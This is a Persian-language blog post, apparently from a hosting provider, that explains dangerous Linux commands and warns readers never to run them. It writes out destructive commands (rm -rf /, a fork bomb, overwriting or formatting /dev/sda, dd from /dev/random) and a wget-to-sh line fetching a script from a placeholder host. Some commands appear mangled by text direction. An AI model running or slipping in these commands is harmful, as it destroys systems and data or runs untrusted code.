خط دستور سیستم عامل لینوکس مانند دستور نمایش میزان آپتایم بسیار ساده، مفید و جالب می باشد، اما گاهی اوقات، اجرای برخی دستورات ممکن است بسیار خطرناک باشد خصوصا زمانی که مطمئن نیستید که دستوری که وارد نموده اید، دقیقا چه کاری انجام میدهد.
شما همواره می بایست قبل از اینکه دستورات را اجرا کنید، مطمئن شوید دستوری که وارد میکنید چه کاری انجام میدهد و دقیقا همان کاری را انجام دهید که مدنظر شما است.
در ادامه می خواهیم شما را از برخی از دستورات خطرناک لینوکس آگاه کنیم که قبل از اینکه آنها را در جایی مثل هاست لینوکس اجرا کنید، می بایست آنها را با دقت بررسی نمایید.
دستورات خطرناک لینوکس
-
دستور rm -rf
از جمله دستورات خطرناک لینوکس میتوان دستور rm -rf را گفت که یکی از سریع ترین راه ها برای پاک کردن یک پوشه و محتویات آن است. اما یک اشتباه کوچک یا سهل انگاری در اجرای این دستور ممکن است به آسیب پذیری غیر قابل برگشت سیستم منجر شود. برخی دیگر از سوئیچ های قابل استفاده و مهم در دستور rm به شرح زیر هستند:
- دستور rm در لینوکس برای حذف فایل ها استفاده می شود.
- دستور rm –r تمامی فولدر ها و نیز فولدرهای خالی را حذف می کند.
- دستور rm -f پرونده های Read Only File را بدون اینکه تایید بگیرد، پاک می کند.
- دستور rm -rf / تمامی محتویات فولدر root را حذف می کند.
- دستور * rm -rf محتویات دایرکتوری جاری را بطور کامل حذف می کند.
- دستور rm -rf محتویات دایرکتوری جاری و زیر مجموعه های آن را بطور کامل حذف می کند..از این رو هنگام اجرای دستور rm -rf مراقب باشید. بعنوان راه حل جایگزین جهت جلوگیری از حذف تصادفی فایل با دستور rm، یک الیاس از دستور rm را با عنوان rm -i در فایل bashrc. ایجاد کنید. با این کار هربار هنگام اجرای این دستور، تاییدیه حذف از شما پرسیده می شود.
-
دستور :(){:|:&};:
با اجرای دستور بالا یک تابع آرایه توخالی ایجاد شده و تابع خود را دو بار فراخوانی میکند و یکبار در پیش زمینه و یک بار در پس زمینه اجرا میشود. در واقع خود را تکثیر میکند تازمانی که کلیه منابع Ram و CPU به شدت افزایش پیدا کرده و سیستم از دسترس خارج شود. عملکرد این دستور مشابه ویروسی است که بی وقفه از خود کپی ایجاد میکند، بهمین دلیل با عنوان Fork Bomb شناخته شده است که یکی از دستورات خطرناک لینوکس هستش.
این حالت مشابه یک حمله DDOS از داخل سیستم عامل است که همه منابع سخت افزاری را در دست خواهد گرفت و تنها راه متوقف کردن این تابع تو در تو ، ریبوت کردن سخت افزاری سرور لینوکس شما خواهد بود.
-
دستور dev/sda/ <
یکی دیگر از دستورات خطرناک لینوکس دستور dev/sda/ < می باشد. این دستور خروجی دستور را در مسیر dev/sda/ می نویسد. با اجرای دستور بالا اطلاعات خام در مسیر فوق جایگزین داده های اصلی شده و تمام فایل ها در مسیر فوق با داده های خام جایگزین می شوند و در نتیجه کل داده ها در بلوک حذف می شوند.
-
دستور mv folder /dev/null
دستور بالا پوشه را به dev/null/ منتقل می کند. در لینوکس، فولدر dev/null/ یک فولدر ویژه ای است که تمام داده های نوشته شده داخل آن را حذف می کند و گزارش می دهد که عملیات نوشتن موفقیت آمیز است.
دستور بالا کلیه محتویات دایرکتوری کاربر را به dev/null/ منقل می کند که به اصلاح همه اطلاعات را به سیاه چاله (null) منتقل می کند.
-
دستور wget https://malicious_source -O- | sh
دستور بالا که یکی از دستورات خطرناک لینوکس هستش یک اسکریپت را از یک منبع مخرب دانلود می کند و سپس آن را اجرا می کند. دستور wget اسکریپت را دانلود می کند و sh اسکریپت دانلود را اجرا می کند.
توجه داشته باشید که فقط از آن دسته از اسکریپت ها / برنامه های کاربردی استفاده کنید که از منابع قابل اعتماد دانلود شده باشد و هرگز از منابع متفرقه جهت نصب یا کانفیگ برنامه ها استفاده نکنید و همچنین قبل از اجرا بررسی کنید که دستورات مربوطه چه اعمالی را روی سرور انجام خواهد داد.
-
دستور ext3 /dev/sda
دستور فوق بلوک sda را فرمت می کند و مطمئنا می دانید که بعد از اجرای دستور بالا، کلیه محتوای داخل هارد دیسک حذف می شود، در واقع هرگونه اطلاعات از روی هارد حذف شده و اطلاعات غیرقابل برگشت می باشد که باید به این دستورات خطرناک لینوکس بسیار توجه شود.
-
دستور file <
دستور بالا برای حذف کردن(flush) محتویات فایل استفاده می شود. اگر دستور بالا اشتباها و یا سهوا اجرا شود، نظیر دستور ( xt.conf <)، باعث پاک شدن محتویات فایل های اصلی و یا فایلهای سیستمی یا فایل های پیکربندی می شود که از دستورات خطرناک لینوکس محسوب میشود.
-
دستور foo^bar^
این دستور، مشابه دستورات قبلی که به آنها اشاره کردیم، خطرناک نیست. این دستور به منظور ویرایش دستوری که قبلا اجرا شده است، بدون آنکه نیازی به تایپ مجدد دستور باشد. اما استفاده نابجا و مکرر از این دستور می تواند باعث آسیبهای جبرانناپذیری میشود که میتواند خود را در لیست دستورات خطرناک لینوکس جا دهد. به ویژه اگر دستوری که قبلا اجرا شده است، را بررسی نکرده باشید و یا مطمئن نباشید چه کاری در پس زمینه انجام میدهد، در این حالت دستور foo^bar^ میتواند خطرناک باشد.
-
دستور dd if=/dev/random of=/dev/sda
دستور فوق، بلوک sda را پاک می کند و داده های تصادفی و بدردنخور به سمت بلوک ارسال می کند و این باعث می شود که سیستم در وضعیت ناسازگار و غیرقابل برگشت باقی خواهد ماند.
نتیجه گیری
توجه داشته باشید که هیچ یک از دستورات خطرناک لینوکس فوق را در ترمینال یا shell سرور لینوکس اجرا نکنید. اگر همچنان مصر هستید که این دستورات را در سیستم عامل لینوکس تست کنید، آنها را تنها روی ماشین مجازی (VPS) اجرا کنید و توجه داشته باشید که هر گونه تداخل یا از دست رفتن اطلاعات، به دلیل اجرای هرکدام از دستورات فوق، ممکن است سیستم شما را از بین ببرد.
در صورتی که مقاله فوق مورد توجه شما قرار گرفته پیشنهاد میکنیم مقالات “آموزش کار با دستور cp در لینوکس برای کپی کردن فایل و پوشه ها” و ”هاست لینوکس چیست ؟ ۴ مزایای هاست لینوکس” در بلاگ مرواهاست مطالعه فرمایید
سوالات متداول
<strong>از دستورات خطرناک لینوکس دستور Fork Bomb چیست؟</strong>
با اجرای دستور :(){:|:&};: یک تابع آرایه توخالی ایجاد شده و تابع خود را دو بار فراخوانی میکند و یکبار در پیش زمینه و یک بار در پس زمینه اجرا میشود. در واقع خود را تکثیر میکند تازمانی که کلیه منابع Ram و CPU به شدت افزایش پیدا کرده و سیستم از دسترس خارج شود.
<strong>دستور file < که از دستورات خطرناک لینوکس است چه کاری انجام میدهد؟</strong>
دستور بالا برای حذف کردن(flush) محتویات فایل استفاده می شود.
3 دیدگاه دربارهٔ «دستورات خطرناک لینوکس که هرگز نباید اجرا شود»
cache controller چیست ؟
نحوه کار کردنش چطوره ؟
بازتاب: آپتایم سرور لینوکس و دستور اجرای آن | 6 دستور مهم در لینوکس - وبلاگ مروا هاست
بازتاب: 16 تفاوت هاست لینوکس و ویندوز که باید بدانید !! - وبلاگ مروا هاست